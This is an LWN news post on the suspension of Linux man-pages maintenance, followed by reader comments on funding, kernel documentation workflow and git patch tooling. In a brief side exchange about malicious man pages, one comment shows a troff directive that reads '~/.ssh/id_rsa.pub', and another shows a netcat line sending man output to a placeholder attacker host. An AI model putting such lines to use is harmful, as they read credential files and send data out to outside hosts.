Man pages maintenance suspended

11 min read Original article ↗

[Posted September 6, 2024 by corbet]

Alejandro Colomar, who has been maintaining the Linux man pages for the last four years, has announced that he will have to stop that work.

I've been doing it in my free time, and no company has sponsored that work at all. At the moment, I cannot sustain this work economically any more, and will temporarily and indefinitely stop working on this project. If any company has interests in the future of the project, I'd welcome an offer to sponsor my work here; if so, please let me know.


Can I help?

Posted Sep 6, 2024 15:15 UTC (Fri) by BurdetteLamar (guest, #173322) [Link]

Yikes!

Posted Sep 6, 2024 15:34 UTC (Fri) by NightMonkey (subscriber, #23051) [Link]

So underrated!

Posted Sep 6, 2024 17:18 UTC (Fri) by Cyberax (✭ supporter ✭, #52523) [Link]

Documentation work is crucial, but absolutely underrated. I'd love to support it more.

Contributors

Posted Sep 6, 2024 17:28 UTC (Fri) by carlosrodfern (subscriber, #166486) [Link] (28 responses)

Contributors

Posted Sep 6, 2024 17:40 UTC (Fri) by adobriyan (subscriber, #30858) [Link] (18 responses)

Perfect time to move man/2/ into kernel proper.

Contributors

Posted Sep 6, 2024 18:29 UTC (Fri) by Deleted user 129183 (guest, #129183) [Link] (7 responses)

Contributors

Posted Sep 6, 2024 18:48 UTC (Fri) by Wol (subscriber, #4433) [Link] (6 responses)

man locally

Posted Sep 10, 2024 8:11 UTC (Tue) by andi8086 (subscriber, #153876) [Link] (4 responses)

Funny side note... I used to do google "man fopen" and stuff like this and a colleague said: "Are you stupid? Why don't you use this locally" :D Yeah, but I am completely your opinion. Everything should be easy to find and stay. The man system is old and ingenious!

man locally

Posted Sep 10, 2024 9:47 UTC (Tue) by Wol (subscriber, #4433) [Link] (1 responses)

man locally

Posted Sep 12, 2024 2:50 UTC (Thu) by NYKevin (subscriber, #129325) [Link]

Pro tip: All of the GNU texinfo manuals have been precompiled into HTML, which can be found by searching the web for e.g. "coreutils [name of command] invocation" and clicking the result from gnu.org. They are all very nice, readable pages with sensible margins and fonts, and absolutely none of the modern web's annoyances.

man locally

Posted Sep 11, 2024 8:45 UTC (Wed) by atnot (guest, #124910) [Link] (1 responses)

man locally

Posted Sep 25, 2024 9:25 UTC (Wed) by moltonel (subscriber, #45207) [Link]

KDE's konqueror is a pretty good local, tabbed man/info browser. Just enter "info:/bash", "man:/fopen", "man:/", etc as the url.

Contributors

Posted Sep 23, 2024 10:16 UTC (Mon) by ceplm (subscriber, #41334) [Link]

Contributors

Posted Sep 6, 2024 19:27 UTC (Fri) by mkerrisk (subscriber, #1978) [Link] (9 responses)

Contributors

Posted Sep 8, 2024 8:49 UTC (Sun) by gnoack (subscriber, #131611) [Link] (8 responses)

I realize that some glibc wrappers have different APIs than what the kernel provides (like e.g. the nptl(7) signal hack for process credential changes). But there is also a long list of documented functionality which does not have glibc wrappers, or whose semantics are not changed by the glibc wrappers.

In fact, IIUC, this should already be true for much of the (a) IOCTL commands, (b) /proc interfaces, and (c) the conceptual documentation in man7?

Just having a place in the kernel tree where such man pages could be put at all would help, IMHO.

As an example, I have been contributing to Landlock in the last years, whose API is not wrapped by glibc, and our documentation process has been causing us a lot of back-and-forth due to that split. Specifically, the process is roughly this:

  1. Write a kernel feature which exposes new functionality. Document it in Linux's Documentation/ subdirectory and in kernel headers in ReST format.
  2. Wait until the feature is in a stable kernel.
  3. Convert the documentation into man-page troff format, using the same phrasing as in the kernel tree.

Some problems with this process are:

  • There are months that need to pass between step (1) and step (3) -- time in which most contributors have long moved on to newer features, and so the man page documentation can easily be forgotten or delayed.
  • It is a two-way sync: The phrasing and documentation feedback on the man-page list is much better (thanks to you and Alejandro). On one side this is great feedback, but it also increases the back and forth even more as the same fixes need to be applied in the kernel documentation to keep it in sync.

Don't get me wrong -- I am truly thankful for your and Alejandro's work on all of this -- It just seems to me that the current process was indeed hampering the documentation efforts a bit. A few months ago I talked to a group of other kernel developers to ask them how they dealt with it, and found that they had simple not been writing any man pages at all. I suspect that if man pages could be commited in the same patch series as the code and the kernel documentation, documentation writing would become a much more natural and straightforward part of the process, no?

—Günther

Contributors

Posted Sep 8, 2024 9:03 UTC (Sun) by Wol (subscriber, #4433) [Link] (1 responses)

Contributors

Posted Sep 8, 2024 13:26 UTC (Sun) by phm (subscriber, #168918) [Link]

Contributors

Posted Sep 8, 2024 9:24 UTC (Sun) by alx.manpages (subscriber, #145117) [Link] (5 responses)

Contributors

Posted Sep 8, 2024 11:51 UTC (Sun) by intelfx (subscriber, #130118) [Link] (4 responses)

Contributors

Posted Sep 8, 2024 12:14 UTC (Sun) by alx.manpages (subscriber, #145117) [Link] (3 responses)

Contributors

Posted Sep 8, 2024 13:06 UTC (Sun) by gnoack (subscriber, #131611) [Link] (2 responses)

Oh, thanks, I had no idea this was even possible with git format-patch! o_O. I agree, we should absolutely start using that process (once the maintenance situation is resolved).

IMHO this should not just go into the man-pages documentation, but also in the kernel contribution documentation.

Is there a recommended way to produce such patch sets, and to mail them, other than manipulating the generated mails themselves? Are there special tools that people use which I overlooked? :)

Thanks,
—Günther

Contributors

Posted Sep 8, 2024 13:55 UTC (Sun) by alx.manpages (subscriber, #145117) [Link] (1 responses)

Contributors

Posted Sep 9, 2024 7:22 UTC (Mon) by gnoack (subscriber, #131611) [Link]

FWIW, I believe I found a way that might be better:

  1. Import multiple projects into the same local repository.

    This is a bit unusual, but you can actually just git fetch multiple unrelated repositories at once.

    In my example, I used worktrees to make my file system layout look a bit more conventional -- have one worktree under /tmp/proj and one under /tmp/man. For the sake of the example, I'll assume that they are checked out to same-named branches "proj" and "man".

  2. Now you can format a patch set using:

    git format-patch --cover-letter --subject-prefix="PATCH proj" proj^^..proj man^..man
    

    This results in a single patch set that includes both the project and man page patches.

    Caveats:

    • May need to control order of patches a bit better. Setting a newer timestamp on the man page patches seems to order them to the end, though.
    • The subject prefix is still the same for all commits, those need to be edited by hand for the man page commits. Not sure whether there is a better way.

Maybe this is what Jiri used?

Contributors

Posted Sep 6, 2024 19:23 UTC (Fri) by mkerrisk (subscriber, #1978) [Link] (2 responses)

Contributors

Posted Sep 6, 2024 21:15 UTC (Fri) by tglx (subscriber, #31301) [Link] (1 responses)

Contributors

Posted Sep 7, 2024 14:55 UTC (Sat) by koverstreet (✭ supporter ✭, #4296) [Link]

Contributors

Posted Sep 7, 2024 1:34 UTC (Sat) by linuxrocks123 (subscriber, #34648) [Link] (4 responses)

Contributors

Posted Sep 7, 2024 5:08 UTC (Sat) by Cyberax (✭ supporter ✭, #52523) [Link] (3 responses)

Injecting malicious code via man pages? Now that's a challenge!

Contributors

Posted Sep 7, 2024 18:24 UTC (Sat) by ballombe (subscriber, #9523) [Link]

Just add typos in code examples and wait for people to incorporate them in their code...

Contributors

Posted Sep 7, 2024 20:08 UTC (Sat) by fw (subscriber, #26023) [Link] (1 responses)

Historically, troff has some shell scripting integration (.pi and other commands). Most of it should be disabled by default (but it didn't work that well for Ghostscript). Even reading other files can be problematic. You can try
.nx ../.ssh/id_rsa.pub
from a .man file in ~/Downloads.

Reading files using man pages

Posted Sep 8, 2024 4:00 UTC (Sun) by KJ7RRV (subscriber, #153595) [Link]

Wouldn't this require the attacker to trick the user into sending them the output to actually be harmful, for example, by running a command like man badman | nc 1234 bad.example.com, in which case a simple cat (or redirection, since this would be a UUOC) could be substituted for man, avoiding the need for a malicious man page entirely?

Contributors

Posted Sep 7, 2024 21:04 UTC (Sat) by fredi@lwn (subscriber, #65912) [Link]

IMHO, what you are asking Alejandro for, needs time and effort too.

Project URL

Posted Sep 6, 2024 19:29 UTC (Fri) by Keith.S.Thompson (subscriber, #133709) [Link] (2 responses)

https://www.kernel.org/doc/man-pages/

Project URL

Posted Sep 6, 2024 19:37 UTC (Fri) by mikejang (guest, #173327) [Link] (1 responses)

Project URL

Posted Sep 6, 2024 20:07 UTC (Fri) by mikejang (guest, #173327) [Link]

Maybe Petition the Foundation

Posted Sep 7, 2024 1:21 UTC (Sat) by montj2 (guest, #111739) [Link] (4 responses)

Can't the Linux Foundation step in here and fund the effort? The man pages are certainly a weak link; especially when you man $anything on a BSD system...

Maybe Petition the Foundation

Posted Sep 7, 2024 2:07 UTC (Sat) by carlosrodfern (subscriber, #166486) [Link] (2 responses)

Maybe Petition the Foundation

Posted Sep 7, 2024 13:51 UTC (Sat) by dskoll (subscriber, #1630) [Link] (1 responses)

I think montj2 was implying that the BSD man pages are in better shape than the Linux ones.

Maybe Petition the Foundation

Posted Sep 7, 2024 15:47 UTC (Sat) by mkerrisk (subscriber, #1978) [Link]

Maybe Petition the Foundation

Posted Sep 7, 2024 7:19 UTC (Sat) by k3ninho (subscriber, #50375) [Link]

not a dev

Posted Sep 8, 2024 21:26 UTC (Sun) by flinx101 (guest, #173352) [Link] (5 responses)

not a dev

Posted Sep 9, 2024 7:47 UTC (Mon) by NYKevin (subscriber, #129325) [Link] (4 responses)

not a dev

Posted Sep 9, 2024 23:09 UTC (Mon) by branden (guest, #7029) [Link] (3 responses)

not a dev

Posted Sep 10, 2024 2:02 UTC (Tue) by NYKevin (subscriber, #129325) [Link] (2 responses)

Personally, I'm not terribly interested in litigating the man-vs-texinfo debate, here or elsewhere. My assumption is that, if glibc finds itself in a position where a large chunk of its functions suddenly don't have adequate documentation, then there's a reasonable likelihood that they will decide to write it themselves, and/or ship documentation written by others. Such documentation will probably have at least as much detail as a typical man page, and will almost certainly be in a freely accessible format of some kind. I could be mistaken about glibc's intentions or capabilities, of course (but not about their commitment to making whatever they do ship freely accessible one way or another, since it's kind of their core mission statement).

not a dev

Posted Sep 12, 2024 17:37 UTC (Thu) by djdelorie (subscriber, #36714) [Link] (1 responses)

not a dev

Posted Sep 12, 2024 23:15 UTC (Thu) by paulj (subscriber, #341) [Link]

The glibc info document has some really good stuff in it. Thanks v much to the project for it!

Misplaced calls

Posted Sep 9, 2024 8:57 UTC (Mon) by paulj (subscriber, #341) [Link]

Maybe one of the problems here is troff

Posted Sep 9, 2024 12:30 UTC (Mon) by metan (subscriber, #74107) [Link] (1 responses)

git-diff(1) with man(7) source

Posted Sep 9, 2024 13:08 UTC (Mon) by alx.manpages (subscriber, #145117) [Link]

How can I support?

Posted Sep 10, 2024 15:45 UTC (Tue) by chriz (guest, #173385) [Link]

Posting an update: Alejandro's work has been funded for 2025

Posted Feb 28, 2025 20:13 UTC (Fri) by mdolan (subscriber, #104340) [Link]